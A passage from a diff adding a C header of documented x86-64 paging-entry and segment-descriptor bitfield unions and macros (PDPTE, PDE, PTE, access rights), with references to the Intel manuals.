PDPTE_64_PAGE_LEVEL_WRITE_THROUGH_BIT 3 +#define PDPTE_64_PAGE_LEVEL_WRITE_THROUGH_FLAG 0x08 +#define PDPTE_64_PAGE_LEVEL_WRITE_THROUGH_MASK 0x01 +#define PDPTE_64_PAGE_LEVEL_WRITE_THROUGH(_) (((_) >> 3) & 0x01) + + /** + * [Bit 4] Page-level cache disable; indirectly determines the memory type used to access the page directory referenced by + * this entry. + * + * @see Vol3A[4.9.2(Paging and Memory Typing When the PAT is Supported (Pentium III and More Recent Processor Families))] + */ + uint64_t page_level_cache_disable : 1; +#define PDPTE_64_PAGE_LEVEL_CACHE_DISABLE_BIT 4 +#define PDPTE_64_PAGE_LEVEL_CACHE_DISABLE_FLAG 0x10 +#define PDPTE_64_PAGE_LEVEL_CACHE_DISABLE_MASK 0x01 +#define PDPTE_64_PAGE_LEVEL_CACHE_DISABLE(_) (((_) >> 4) & 0x01) + + /** + * [Bit 5] Accessed; indicates whether this entry has been used for linear-address translation. + * + * @see Vol3A[4.8(Accessed and Dirty Flags)] + */ + uint64_t accessed : 1; +#define PDPTE_64_ACCESSED_BIT 5 +#define PDPTE_64_ACCESSED_FLAG 0x20 +#define PDPTE_64_ACCESSED_MASK 0x01 +#define PDPTE_64_ACCESSED(_) (((_) >> 5) & 0x01) + uint64_t reserved1 : 1; + + /** + * [Bit 7] Page size; must be 0 (otherwise, this entry maps a 1-GByte page). + */ + uint64_t large_page : 1; +#define PDPTE_64_LARGE_PAGE_BIT 7 +#define PDPTE_64_LARGE_PAGE_FLAG 0x80 +#define PDPTE_64_LARGE_PAGE_MASK 0x01 +#define PDPTE_64_LARGE_PAGE(_) (((_) >> 7) & 0x01) + + /** + * [Bits 11:8] Ignored. + */ + uint64_t ignored_1 : 4; +#define PDPTE_64_IGNORED_1_BIT 8 +#define PDPTE_64_IGNORED_1_FLAG 0xF00 +#define PDPTE_64_IGNORED_1_MASK 0x0F +#define PDPTE_64_IGNORED_1(_) (((_) >> 8) & 0x0F) + + /** + * [Bits 47:12] Physical address of 4-KByte aligned page directory referenced by this entry. + */ + uint64_t page_frame_number : 36; +#define PDPTE_64_PAGE_FRAME_NUMBER_BIT 12 +#define PDPTE_64_PAGE_FRAME_NUMBER_FLAG 0xFFFFFFFFF000 +#define PDPTE_64_PAGE_FRAME_NUMBER_MASK 0xFFFFFFFFF +#define PDPTE_64_PAGE_FRAME_NUMBER(_) (((_) >> 12) & 0xFFFFFFFFF) + uint64_t reserved2 : 4; + + /** + * [Bits 62:52] Ignored. + */ + uint64_t ignored_2 : 11; +#define PDPTE_64_IGNORED_2_BIT 52 +#define PDPTE_64_IGNORED_2_FLAG 0x7FF0000000000000 +#define PDPTE_64_IGNORED_2_MASK 0x7FF +#define PDPTE_64_IGNORED_2(_) (((_) >> 52) & 0x7FF) + + /** + * [Bit 63] If IA32_EFER.NXE = 1, execute-disable (if 1, instruction fetches are not allowed from the 1-GByte region + * controlled by this entry); otherwise, reserved (must be 0). + * + * @see Vol3A[4.6(Access Rights)] + */ + uint64_t execute_disable : 1; +#define PDPTE_64_EXECUTE_DISABLE_BIT 63 +#define PDPTE_64_EXECUTE_DISABLE_FLAG 0x8000000000000000 +#define PDPTE_64_EXECUTE_DISABLE_MASK 0x01 +#define PDPTE_64_EXECUTE_DISABLE(_) (((_) >> 63) & 0x01) + }; + + uint64_t flags; +} pdpte_64; + +/** + * @brief Format of a 4-Level Page-Directory Entry that Maps a 2-MByte Page + */ +typedef union +{ + struct + { + /** + * [Bit 0] Present; must be 1 to map a 2-MByte page. + */ + uint64_t present : 1; +#define PDE_2MB_64_PRESENT_BIT 0 +#define PDE_2MB_64_PRESENT_FLAG 0x01 +#define PDE_2MB_64_PRESENT_MASK 0x01 +#define PDE_2MB_64_PRESENT(_) (((_) >> 0) & 0x01) + + /** + * [Bit 1] Read/write; if 0, writes may not be allowed to the 2-MByte page referenced by this entry. + * + * @see Vol3A[4.6(Access Rights)] + */ + uint64_t write : 1; +#define PDE_2MB_64_WRITE_BIT 1 +#define PDE_2MB_64_WRITE_FLAG 0x02 +#define PDE_2MB_64_WRITE_MASK 0x01 +#define PDE_2MB_64_WRITE(_) (((_) >> 1) & 0x01) + + /** + * [Bit 2] User/supervisor; if 0, user-mode accesses are not allowed to the 2-MByte page referenced by this entry. + * + * @see Vol3A[4.6(Access Rights)] + */ + uint64_t supervisor : 1; +#define PDE_2MB_64_SUPERVISOR_BIT 2 +#define PDE_2MB_64_SUPERVISOR_FLAG 0x04 +#define PDE_2MB_64_SUPERVISOR_MASK 0x01 +#define PDE_2MB_64_SUPERVISOR(_) (((_) >> 2) & 0x01) + + /** + * [Bit 3] Page-level write-through; indirectly determines the memory type used to access the 2-MByte page referenced by + * this entry. + * + * @see Vol3A[4.9.2(Paging and Memory Typing When the PAT is Supported (Pentium III and More Recent Processor Families))] + */ + uint64_t page_level_write_through : 1; +#define PDE_2MB_64_PAGE_LEVEL_WRITE_THROUGH_BIT 3 +#define PDE_2MB_64_PAGE_LEVEL_WRITE_THROUGH_FLAG 0x08 +#define PDE_2MB_64_PAGE_LEVEL_WRITE_THROUGH_MASK 0x01 +#define PDE_2MB_64_PAGE_LEVEL_WRITE_THROUGH(_) (((_) >> 3) & 0x01) + + /** + * [Bit 4] Page-level cache disable; indirectly determines the memory type used to access the 2-MByte page referenced by + * this entry. + * + * @see Vol3A[4.9.2(Paging and Memory Typing When the PAT is Supported (Pentium III and More Recent Processor Families))] + */ + uint64_t page_level_cache_disable : 1; +#define PDE_2MB_64_PAGE_LEVEL_CACHE_DISABLE_BIT 4 +#define PDE_2MB_64_PAGE_LEVEL_CACHE_DISABLE_FLAG 0x10 +#define PDE_2MB_64_PAGE_LEVEL_CACHE_DISABLE_MASK 0x01 +#define PDE_2MB_64_PAGE_LEVEL_CACHE_DISABLE(_) (((_) >> 4) & 0x01) + + /** + * [Bit 5] Accessed; indicates whether software has accessed the 2-MByte page referenced by this entry. + * + * @see Vol3A[4.8(Accessed and Dirty Flags)] + */ + uint64_t accessed : 1; +#define PDE_2MB_64_ACCESSED_BIT 5 +#define PDE_2MB_64_ACCESSED_FLAG 0x20 +#define PDE_2MB_64_ACCESSED_MASK 0x01 +#define PDE_2MB_64_ACCESSED(_) (((_) >> 5) & 0x01) + + /** + * [Bit 6] Dirty; indicates whether software has written to the 2-MByte page referenced by this entry. + * + * @see Vol3A[4.8(Accessed and Dirty Flags)] + */ + uint64_t dirty : 1; +#define PDE_2MB_64_DIRTY_BIT 6 +#define PDE_2MB_64_DIRTY_FLAG 0x40 +#define PDE_2MB_64_DIRTY_MASK 0x01 +#define PDE_2MB_64_DIRTY(_) (((_) >> 6) & 0x01) + + /** + * [Bit 7] Page size; must be 1 (otherwise, this entry references a page directory). + */ + uint64_t large_page : 1; +#define PDE_2MB_64_LARGE_PAGE_BIT 7 +#define PDE_2MB_64_LARGE_PAGE_FLAG 0x80 +#define PDE_2MB_64_LARGE_PAGE_MASK 0x01 +#define PDE_2MB_64_LARGE_PAGE(_) (((_) >> 7) & 0x01) + + /** + * [Bit 8] Global; if CR4.PGE = 1, determines whether the translation is global; ignored otherwise. + * + * @see Vol3A[4.10(Caching Translation Information)] + */ + uint64_t global : 1; +#define PDE_2MB_64_GLOBAL_BIT 8 +#define PDE_2MB_64_GLOBAL_FLAG 0x100 +#define PDE_2MB_64_GLOBAL_MASK 0x01 +#define PDE_2MB_64_GLOBAL(_) (((_) >> 8) & 0x01) + + /** + * [Bits 11:9] Ignored. + */ + uint64_t ignored_1 : 3; +#define PDE_2MB_64_IGNORED_1_BIT 9 +#define PDE_2MB_64_IGNORED_1_FLAG 0xE00 +#define PDE_2MB_64_IGNORED_1_MASK 0x07 +#define PDE_2MB_64_IGNORED_1(_) (((_) >> 9) & 0x07) + + /** + * [Bit 12] Indirectly determines the memory type used to access the 2-MByte page referenced by this entry. + * + * @note The PAT is supported on all processors that support 4-level paging. + * @see Vol3A[4.9.2(Paging and Memory Typing When the PAT is Supported (Pentium III and More Recent Processor Families))] + */ + uint64_t pat : 1; +#define PDE_2MB_64_PAT_BIT 12 +#define PDE_2MB_64_PAT_FLAG 0x1000 +#define PDE_2MB_64_PAT_MASK 0x01 +#define PDE_2MB_64_PAT(_) (((_) >> 12) & 0x01) + uint64_t reserved1 : 8; + + /** + * [Bits 47:21] Physical address of the 2-MByte page referenced by this entry. + */ + uint64_t page_frame_number : 27; +#define PDE_2MB_64_PAGE_FRAME_NUMBER_BIT 21 +#define PDE_2MB_64_PAGE_FRAME_NUMBER_FLAG 0xFFFFFFE00000 +#define PDE_2MB_64_PAGE_FRAME_NUMBER_MASK 0x7FFFFFF +#define PDE_2MB_64_PAGE_FRAME_NUMBER(_) (((_) >> 21) & 0x7FFFFFF) + uint64_t reserved2 : 4; + + /** + * [Bits 58:52] Ignored. + */ + uint64_t ignored_2 : 7; +#define PDE_2MB_64_IGNORED_2_BIT 52 +#define PDE_2MB_64_IGNORED_2_FLAG 0x7F0000000000000 +#define PDE_2MB_64_IGNORED_2_MASK 0x7F +#define PDE_2MB_64_IGNORED_2(_) (((_) >> 52) & 0x7F) + + /** + * [Bits 62:59] Protection key; if CR4.PKE = 1, determines the protection key of the page; ignored otherwise. + * + * @see Vol3A[4.6.2(Protection Keys)] + */ + uint64_t protection_key : 4; +#define PDE_2MB_64_PROTECTION_KEY_BIT 59 +#define PDE_2MB_64_PROTECTION_KEY_FLAG 0x7800000000000000 +#define PDE_2MB_64_PROTECTION_KEY_MASK 0x0F +#define PDE_2MB_64_PROTECTION_KEY(_) (((_) >> 59) & 0x0F) + + /** + * [Bit 63] If IA32_EFER.NXE = 1, execute-disable (if 1, instruction fetches are not allowed from the 2-MByte page + * controlled by this entry); otherwise, reserved (must be 0). + * + * @see Vol3A[4.6(Access Rights)] + */ + uint64_t execute_disable : 1; +#define PDE_2MB_64_EXECUTE_DISABLE_BIT 63 +#define PDE_2MB_64_EXECUTE_DISABLE_FLAG 0x8000000000000000 +#define PDE_2MB_64_EXECUTE_DISABLE_MASK 0x01 +#define PDE_2MB_64_EXECUTE_DISABLE(_) (((_) >> 63) & 0x01) + }; + + uint64_t flags; +} pde_2mb_64; + +/** + * @brief Format of a 4-Level Page-Directory Entry that References a Page Table + */ +typedef union +{ + struct + { + /** + * [Bit 0] Present; must be 1 to reference a page table. + */ + uint64_t present : 1; +#define PDE_64_PRESENT_BIT 0 +#define PDE_64_PRESENT_FLAG 0x01 +#define PDE_64_PRESENT_MASK 0x01 +#define PDE_64_PRESENT(_) (((_) >> 0) & 0x01) + + /** + * [Bit 1] Read/write; if 0, writes may not be allowed to the 2-MByte region controlled by this entry. + * + * @see Vol3A[4.6(Access Rights)] + */ + uint64_t write : 1; +#define PDE_64_WRITE_BIT 1 +#define PDE_64_WRITE_FLAG 0x02 +#define PDE_64_WRITE_MASK 0x01 +#define PDE_64_WRITE(_) (((_) >> 1) & 0x01) + + /** + * [Bit 2] User/supervisor; if 0, user-mode accesses are not allowed to the 2-MByte region controlled by this entry. + * + * @see Vol3A[4.6(Access Rights)] + */ + uint64_t supervisor : 1; +#define PDE_64_SUPERVISOR_BIT 2 +#define PDE_64_SUPERVISOR_FLAG 0x04 +#define PDE_64_SUPERVISOR_MASK 0x01 +#define PDE_64_SUPERVISOR(_) (((_) >> 2) & 0x01) + + /** + * [Bit 3] Page-level write-through; indirectly determines the memory type used to access the page table referenced by this + * entry. + * + * @see Vol3A[4.9.2(Paging and Memory Typing When the PAT is Supported (Pentium III and More Recent Processor Families))] + */ + uint64_t page_level_write_through : 1; +#define PDE_64_PAGE_LEVEL_WRITE_THROUGH_BIT 3 +#define PDE_64_PAGE_LEVEL_WRITE_THROUGH_FLAG 0x08 +#define PDE_64_PAGE_LEVEL_WRITE_THROUGH_MASK 0x01 +#define PDE_64_PAGE_LEVEL_WRITE_THROUGH(_) (((_) >> 3) & 0x01) + + /** + * [Bit 4] Page-level cache disable; indirectly determines the memory type used to access the page table referenced by this + * entry. + * + * @see Vol3A[4.9.2(Paging and Memory Typing When the PAT is Supported (Pentium III and More Recent Processor Families))] + */ + uint64_t page_level_cache_disable : 1; +#define PDE_64_PAGE_LEVEL_CACHE_DISABLE_BIT 4 +#define PDE_64_PAGE_LEVEL_CACHE_DISABLE_FLAG 0x10 +#define PDE_64_PAGE_LEVEL_CACHE_DISABLE_MASK 0x01 +#define PDE_64_PAGE_LEVEL_CACHE_DISABLE(_) (((_) >> 4) & 0x01) + + /** + * [Bit 5] Accessed; indicates whether this entry has been used for linear-address translation. + * + * @see Vol3A[4.8(Accessed and Dirty Flags)] + */ + uint64_t accessed : 1; +#define PDE_64_ACCESSED_BIT 5 +#define PDE_64_ACCESSED_FLAG 0x20 +#define PDE_64_ACCESSED_MASK 0x01 +#define PDE_64_ACCESSED(_) (((_) >> 5) & 0x01) + uint64_t reserved1 : 1; + + /** + * [Bit 7] Page size; must be 0 (otherwise, this entry maps a 2-MByte page). + */ + uint64_t large_page : 1; +#define PDE_64_LARGE_PAGE_BIT 7 +#define PDE_64_LARGE_PAGE_FLAG 0x80 +#define PDE_64_LARGE_PAGE_MASK 0x01 +#define PDE_64_LARGE_PAGE(_) (((_) >> 7) & 0x01) + + /** + * [Bits 11:8] Ignored. + */ + uint64_t ignored_1 : 4; +#define PDE_64_IGNORED_1_BIT 8 +#define PDE_64_IGNORED_1_FLAG 0xF00 +#define PDE_64_IGNORED_1_MASK 0x0F +#define PDE_64_IGNORED_1(_) (((_) >> 8) & 0x0F) + + /** + * [Bits 47:12] Physical address of 4-KByte aligned page table referenced by this entry. + */ + uint64_t page_frame_number : 36; +#define PDE_64_PAGE_FRAME_NUMBER_BIT 12 +#define PDE_64_PAGE_FRAME_NUMBER_FLAG 0xFFFFFFFFF000 +#define PDE_64_PAGE_FRAME_NUMBER_MASK 0xFFFFFFFFF +#define PDE_64_PAGE_FRAME_NUMBER(_) (((_) >> 12) & 0xFFFFFFFFF) + uint64_t reserved2 : 4; + + /** + * [Bits 62:52] Ignored. + */ + uint64_t ignored_2 : 11; +#define PDE_64_IGNORED_2_BIT 52 +#define PDE_64_IGNORED_2_FLAG 0x7FF0000000000000 +#define PDE_64_IGNORED_2_MASK 0x7FF +#define PDE_64_IGNORED_2(_) (((_) >> 52) & 0x7FF) + + /** + * [Bit 63] If IA32_EFER.NXE = 1, execute-disable (if 1, instruction fetches are not allowed from the 2-MByte region + * controlled by this entry); otherwise, reserved (must be 0). + * + * @see Vol3A[4.6(Access Rights)] + */ + uint64_t execute_disable : 1; +#define PDE_64_EXECUTE_DISABLE_BIT 63 +#define PDE_64_EXECUTE_DISABLE_FLAG 0x8000000000000000 +#define PDE_64_EXECUTE_DISABLE_MASK 0x01 +#define PDE_64_EXECUTE_DISABLE(_) (((_) >> 63) & 0x01) + }; + + uint64_t flags; +} pde_64; + +/** + * @brief Format of a 4-Level Page-Table Entry that Maps a 4-KByte Page + */ +typedef union +{ + struct + { + /** + * [Bit 0] Present; must be 1 to map a 4-KByte page. + */ + uint64_t present : 1; +#define PTE_64_PRESENT_BIT 0 +#define PTE_64_PRESENT_FLAG 0x01 +#define PTE_64_PRESENT_MASK 0x01 +#define PTE_64_PRESENT(_) (((_) >> 0) & 0x01) + + /** + * [Bit 1] Read/write; if 0, writes may not be allowed to the 4-KByte page referenced by this entry. + * + * @see Vol3A[4.6(Access Rights)] + */ + uint64_t write : 1; +#define PTE_64_WRITE_BIT 1 +#define PTE_64_WRITE_FLAG 0x02 +#define PTE_64_WRITE_MASK 0x01 +#define PTE_64_WRITE(_) (((_) >> 1) & 0x01) + + /** + * [Bit 2] User/supervisor; if 0, user-mode accesses are not allowed to the 4-KByte page referenced by this entry. + * + * @see Vol3A[4.6(Access Rights)] + */ + uint64_t supervisor : 1; +#define PTE_64_SUPERVISOR_BIT 2 +#define PTE_64_SUPERVISOR_FLAG 0x04 +#define PTE_64_SUPERVISOR_MASK 0x01 +#define PTE_64_SUPERVISOR(_) (((_) >> 2) & 0x01) + + /** + * [Bit 3] Page-level write-through; indirectly determines the memory type used to access the 4-KByte page referenced by + * this entry. + * + * @see Vol3A[4.9.2(Paging and Memory Typing When the PAT is Supported (Pentium III and More Recent Processor Families))] + */ + uint64_t page_level_write_through : 1; +#define PTE_64_PAGE_LEVEL_WRITE_THROUGH_BIT 3 +#define PTE_64_PAGE_LEVEL_WRITE_THROUGH_FLAG 0x08 +#define PTE_64_PAGE_LEVEL_WRITE_THROUGH_MASK 0x01 +#define PTE_64_PAGE_LEVEL_WRITE_THROUGH(_) (((_) >> 3) & 0x01) + + /** + * [Bit 4] Page-level cache disable; indirectly determines the memory type used to access the 4-KByte page referenced by + * this entry. + * + * @see Vol3A[4.9.2(Paging and Memory Typing When the PAT is Supported (Pentium III and More Recent Processor Families))] + */ + uint64_t page_level_cache_disable : 1; +#define PTE_64_PAGE_LEVEL_CACHE_DISABLE_BIT 4 +#define PTE_64_PAGE_LEVEL_CACHE_DISABLE_FLAG 0x10 +#define PTE_64_PAGE_LEVEL_CACHE_DISABLE_MASK 0x01 +#define PTE_64_PAGE_LEVEL_CACHE_DISABLE(_) (((_) >> 4) & 0x01) + + /** + * [Bit 5] Accessed; indicates whether software has accessed the 4-KByte page referenced by this entry. + * + * @see Vol3A[4.8(Accessed and Dirty Flags)] + */ + uint64_t accessed : 1; +#define PTE_64_ACCESSED_BIT 5 +#define PTE_64_ACCESSED_FLAG 0x20 +#define PTE_64_ACCESSED_MASK 0x01 +#define PTE_64_ACCESSED(_) (((_) >> 5) & 0x01) + + /** + * [Bit 6] Dirty; indicates whether software has written to the 4-KByte page referenced by this entry. + * + * @see Vol3A[4.8(Accessed and Dirty Flags)] + */ + uint64_t dirty : 1; +#define PTE_64_DIRTY_BIT 6 +#define PTE_64_DIRTY_FLAG 0x40 +#define PTE_64_DIRTY_MASK 0x01 +#define PTE_64_DIRTY(_) (((_) >> 6) & 0x01) + + /** + * [Bit 7] Indirectly determines the memory type used to access the 4-KByte page referenced by this entry. + * + * @see Vol3A[4.9.2(Paging and Memory Typing When the PAT is Supported (Pentium III and More Recent Processor Families))] + */ + uint64_t pat : 1; +#define PTE_64_PAT_BIT 7 +#define PTE_64_PAT_FLAG 0x80 +#define PTE_64_PAT_MASK 0x01 +#define PTE_64_PAT(_) (((_) >> 7) & 0x01) + + /** + * [Bit 8] Global; if CR4.PGE = 1, determines whether the translation is global; ignored otherwise. + * + * @see Vol3A[4.10(Caching Translation Information)] + */ + uint64_t global : 1; +#define PTE_64_GLOBAL_BIT 8 +#define PTE_64_GLOBAL_FLAG 0x100 +#define PTE_64_GLOBAL_MASK 0x01 +#define PTE_64_GLOBAL(_) (((_) >> 8) & 0x01) + + /** + * [Bits 11:9] Ignored. + */ + uint64_t ignored_1 : 3; +#define PTE_64_IGNORED_1_BIT 9 +#define PTE_64_IGNORED_1_FLAG 0xE00 +#define PTE_64_IGNORED_1_MASK 0x07 +#define PTE_64_IGNORED_1(_) (((_) >> 9) & 0x07) + + /** + * [Bits 47:12] Physical address of the 4-KByte page referenced by this entry. + */ + uint64_t page_frame_number : 36; +#define PTE_64_PAGE_FRAME_NUMBER_BIT 12 +#define PTE_64_PAGE_FRAME_NUMBER_FLAG 0xFFFFFFFFF000 +#define PTE_64_PAGE_FRAME_NUMBER_MASK 0xFFFFFFFFF +#define PTE_64_PAGE_FRAME_NUMBER(_) (((_) >> 12) & 0xFFFFFFFFF) + uint64_t reserved1 : 4; + + /** + * [Bits 58:52] Ignored. + */ + uint64_t ignored_2 : 7; +#define PTE_64_IGNORED_2_BIT 52 +#define PTE_64_IGNORED_2_FLAG 0x7F0000000000000 +#define PTE_64_IGNORED_2_MASK 0x7F +#define PTE_64_IGNORED_2(_) (((_) >> 52) & 0x7F) + + /** + * [Bits 62:59] Protection key; if CR4.PKE = 1, determines the protection key of the page; ignored otherwise. + * + * @see Vol3A[4.6.2(Protection Keys)] + */ + uint64_t protection_key : 4; +#define PTE_64_PROTECTION_KEY_BIT 59 +#define PTE_64_PROTECTION_KEY_FLAG 0x7800000000000000 +#define PTE_64_PROTECTION_KEY_MASK 0x0F +#define PTE_64_PROTECTION_KEY(_) (((_) >> 59) & 0x0F) + + /** + * [Bit 63] If IA32_EFER.NXE = 1, execute-disable (if 1, instruction fetches are not allowed from the 1-GByte page + * controlled by this entry); otherwise, reserved (must be 0). + * + * @see Vol3A[4.6(Access Rights)] + */ + uint64_t execute_disable : 1; +#define PTE_64_EXECUTE_DISABLE_BIT 63 +#define PTE_64_EXECUTE_DISABLE_FLAG 0x8000000000000000 +#define PTE_64_EXECUTE_DISABLE_MASK 0x01 +#define PTE_64_EXECUTE_DISABLE(_) (((_) >> 63) & 0x01) + }; + + uint64_t flags; +} pte_64; + +/** + * @brief Format of a common Page-Table Entry + */ +typedef union +{ + struct + { + uint64_t present : 1; +#define PT_ENTRY_64_PRESENT_BIT 0 +#define PT_ENTRY_64_PRESENT_FLAG 0x01 +#define PT_ENTRY_64_PRESENT_MASK 0x01 +#define PT_ENTRY_64_PRESENT(_) (((_) >> 0) & 0x01) + uint64_t write : 1; +#define PT_ENTRY_64_WRITE_BIT 1 +#define PT_ENTRY_64_WRITE_FLAG 0x02 +#define PT_ENTRY_64_WRITE_MASK 0x01 +#define PT_ENTRY_64_WRITE(_) (((_) >> 1) & 0x01) + uint64_t supervisor : 1; +#define PT_ENTRY_64_SUPERVISOR_BIT 2 +#define PT_ENTRY_64_SUPERVISOR_FLAG 0x04 +#define PT_ENTRY_64_SUPERVISOR_MASK 0x01 +#define PT_ENTRY_64_SUPERVISOR(_) (((_) >> 2) & 0x01) + uint64_t page_level_write_through : 1; +#define PT_ENTRY_64_PAGE_LEVEL_WRITE_THROUGH_BIT 3 +#define PT_ENTRY_64_PAGE_LEVEL_WRITE_THROUGH_FLAG 0x08 +#define PT_ENTRY_64_PAGE_LEVEL_WRITE_THROUGH_MASK 0x01 +#define PT_ENTRY_64_PAGE_LEVEL_WRITE_THROUGH(_) (((_) >> 3) & 0x01) + uint64_t page_level_cache_disable : 1; +#define PT_ENTRY_64_PAGE_LEVEL_CACHE_DISABLE_BIT 4 +#define PT_ENTRY_64_PAGE_LEVEL_CACHE_DISABLE_FLAG 0x10 +#define PT_ENTRY_64_PAGE_LEVEL_CACHE_DISABLE_MASK 0x01 +#define PT_ENTRY_64_PAGE_LEVEL_CACHE_DISABLE(_) (((_) >> 4) & 0x01) + uint64_t accessed : 1; +#define PT_ENTRY_64_ACCESSED_BIT 5 +#define PT_ENTRY_64_ACCESSED_FLAG 0x20 +#define PT_ENTRY_64_ACCESSED_MASK 0x01 +#define PT_ENTRY_64_ACCESSED(_) (((_) >> 5) & 0x01) + uint64_t dirty : 1; +#define PT_ENTRY_64_DIRTY_BIT 6 +#define PT_ENTRY_64_DIRTY_FLAG 0x40 +#define PT_ENTRY_64_DIRTY_MASK 0x01 +#define PT_ENTRY_64_DIRTY(_) (((_) >> 6) & 0x01) + uint64_t large_page : 1; +#define PT_ENTRY_64_LARGE_PAGE_BIT 7 +#define PT_ENTRY_64_LARGE_PAGE_FLAG 0x80 +#define PT_ENTRY_64_LARGE_PAGE_MASK 0x01 +#define PT_ENTRY_64_LARGE_PAGE(_) (((_) >> 7) & 0x01) + uint64_t global : 1; +#define PT_ENTRY_64_GLOBAL_BIT 8 +#define PT_ENTRY_64_GLOBAL_FLAG 0x100 +#define PT_ENTRY_64_GLOBAL_MASK 0x01 +#define PT_ENTRY_64_GLOBAL(_) (((_) >> 8) & 0x01) + + /** + * [Bits 11:9] Ignored. + */ + uint64_t ignored_1 : 3; +#define PT_ENTRY_64_IGNORED_1_BIT 9 +#define PT_ENTRY_64_IGNORED_1_FLAG 0xE00 +#define PT_ENTRY_64_IGNORED_1_MASK 0x07 +#define PT_ENTRY_64_IGNORED_1(_) (((_) >> 9) & 0x07) + + /** + * [Bits 47:12] Physical address of the 4-KByte page referenced by this entry. + */ + uint64_t page_frame_number : 36; +#define PT_ENTRY_64_PAGE_FRAME_NUMBER_BIT 12 +#define PT_ENTRY_64_PAGE_FRAME_NUMBER_FLAG 0xFFFFFFFFF000 +#define PT_ENTRY_64_PAGE_FRAME_NUMBER_MASK 0xFFFFFFFFF +#define PT_ENTRY_64_PAGE_FRAME_NUMBER(_) (((_) >> 12) & 0xFFFFFFFFF) + uint64_t reserved1 : 4; + + /** + * [Bits 58:52] Ignored. + */ + uint64_t ignored_2 : 7; +#define PT_ENTRY_64_IGNORED_2_BIT 52 +#define PT_ENTRY_64_IGNORED_2_FLAG 0x7F0000000000000 +#define PT_ENTRY_64_IGNORED_2_MASK 0x7F +#define PT_ENTRY_64_IGNORED_2(_) (((_) >> 52) & 0x7F) + uint64_t protection_key : 4; +#define PT_ENTRY_64_PROTECTION_KEY_BIT 59 +#define PT_ENTRY_64_PROTECTION_KEY_FLAG 0x7800000000000000 +#define PT_ENTRY_64_PROTECTION_KEY_MASK 0x0F +#define PT_ENTRY_64_PROTECTION_KEY(_) (((_) >> 59) & 0x0F) + uint64_t execute_disable : 1; +#define PT_ENTRY_64_EXECUTE_DISABLE_BIT 63 +#define PT_ENTRY_64_EXECUTE_DISABLE_FLAG 0x8000000000000000 +#define PT_ENTRY_64_EXECUTE_DISABLE_MASK 0x01 +#define PT_ENTRY_64_EXECUTE_DISABLE(_) (((_) >> 63) & 0x01) + }; + + uint64_t flags; +} pt_entry_64; + +/** + * @defgroup paging_structures_entry_count_64 \ + * Paging structures entry counts + * + * Paging structures entry counts. + * @{ + */ +#define PML4E_ENTRY_COUNT_64 0x00000200 +#define PDPTE_ENTRY_COUNT_64 0x00000200 +#define PDE_ENTRY_COUNT_64 0x00000200 +#define PTE_ENTRY_COUNT_64 0x00000200 + /** + * @} + */ + + /** + * @} + */ + + /** + * @} + */ + + /** + * @defgroup segment_descriptors \ + * Segment descriptors + * @{ + */ + /** + * @brief Pseudo-Descriptor Format (32-bit) + * + * @see Vol3A[3.5.1(Segment Descriptor Tables)] (reference) + */ +#pragma pack(push, 1) +typedef struct +{ + /** + * Limit. + */ + uint16_t limit; + + /** + * Base Address. + */ + uint32_t base_address; +} segment_descriptor_register_32; +#pragma pack(pop) + +/** + * @brief Pseudo-Descriptor Format (64-bit) + * + * @see Vol3A[3.5.1(Segment Descriptor Tables)] (reference) + */ +#pragma pack(push, 1) +typedef struct +{ + /** + * Limit. + */ + uint16_t limit; + + /** + * Base Address. + */ + uint64_t base_address; +} segment_descriptor_register_64; +#pragma pack(pop) + +/** + * @brief Segment access rights + * + * @see Vol2A[3.2(Instructions (A-L) | LAR-Load Access Rights Byte)] (reference) + */ +typedef union +{ + struct + { + uint32_t reserved1 : 8; + + /** + * @brief Type field + * + * [Bits 11:8] Indicates the segment or gate type and specifies the kinds of access that can be made to the segment and the + * direction of growth. The interpretation of this field depends on whether the descriptor type flag specifies an + * application (code or data) descriptor or a system descriptor. The encoding of the type field is different for code, + * data, and system descriptors. + * + * @see Vol3A[3.4.5.1(Code- and Data-Segment Descriptor Types)] + */ + uint32_t type : 4; +#define SEGMENT_ACCESS_RIGHTS_TYPE_BIT 8 +#define SEGMENT_ACCESS_RIGHTS_TYPE_FLAG 0xF00 +#define SEGMENT_ACCESS_RIGHTS_TYPE_MASK 0x0F +#define SEGMENT_ACCESS_RIGHTS_TYPE(_) (((_) >> 8) & 0x0F) + + /** + * @brief S (descriptor type) flag + * + * [Bit 12] Specifies whether the segment descriptor is for a system segment (S flag is clear) or a code or data segment (S + * flag is set). + */ + uint32_t descriptor_type : 1; +#define SEGMENT_ACCESS_RIGHTS_DESCRIPTOR_TYPE_BIT 12 +#define SEGMENT_ACCESS_RIGHTS_DESCRIPTOR_TYPE_FLAG 0x1000 +#define SEGMENT_ACCESS_RIGHTS_DESCRIPTOR_TYPE_MASK 0x01 +#define SEGMENT_ACCESS_RIGHTS_DESCRIPTOR_TYPE(_) (((_) >> 12) & 0x01) + + /** + * @brief DPL (descriptor privilege level) field + * + * [Bits 14:13] Specifies the privilege level of the segment. The privilege level can range from 0 to 3, with 0 being the + * most privileged level. The DPL is used to control access to the segment. See Section 5.5, "Privilege Levels", for a + * description of the relationship of the DPL to the CPL of the executing code segment and the RPL of a segment selector. + */ + uint32_t descriptor_privilege_level : 2; +#define SEGMENT_ACCESS_RIGHTS_DESCRIPTOR_PRIVILEGE_LEVEL_BIT 13 +#define SEGMENT_ACCESS_RIGHTS_DESCRIPTOR_PRIVILEGE_LEVEL_FLAG 0x6000 +#define SEGMENT_ACCESS_RIGHTS_DESCRIPTOR_PRIVILEGE_LEVEL_MASK 0x03 +#define SEGMENT_ACCESS_RIGHTS_DESCRIPTOR_PRIVILEGE_LEVEL(_) (((_) >> 13) & 0x03) + + /** + * @brief P (segment-present) flag + * + * [Bit 15] Indicates whether the segment is present in memory (set) or not present (clear). If this flag is clear, the + * processor generates a segment-not-present exception (\#NP) when a segment selector that points to the segment descriptor + * is loaded into a segment register. Memory management software can use this flag to control which segments are actually + * loaded into physical memory at a given time. It offers a control in addition to paging for managing virtual memory. + */ + uint32_t present : 1; +#define SEGMENT_ACCESS_RIGHTS_PRESENT_BIT 15 +#define SEGMENT_ACCESS_RIGHTS_PRESENT_FLAG 0x8000 +#define SEGMENT_ACCESS_RIGHTS_PRESENT_MASK 0x01 +#define SEGMENT_ACCESS_RIGHTS_PRESENT(_) (((_) >> 15) & 0x01) + uint32_t reserved2 : 4; + + /** + * @brief Available bit + * + * [Bit 20] Bit 20 of the second doubleword of the segment descriptor is available for use by system software. + */ + uint32_t system : 1; +#define SEGMENT_ACCESS_RIGHTS_SYSTEM_BIT 20 +#define SEGMENT_ACCESS_RIGHTS_SYSTEM_FLAG 0x100000 +#define 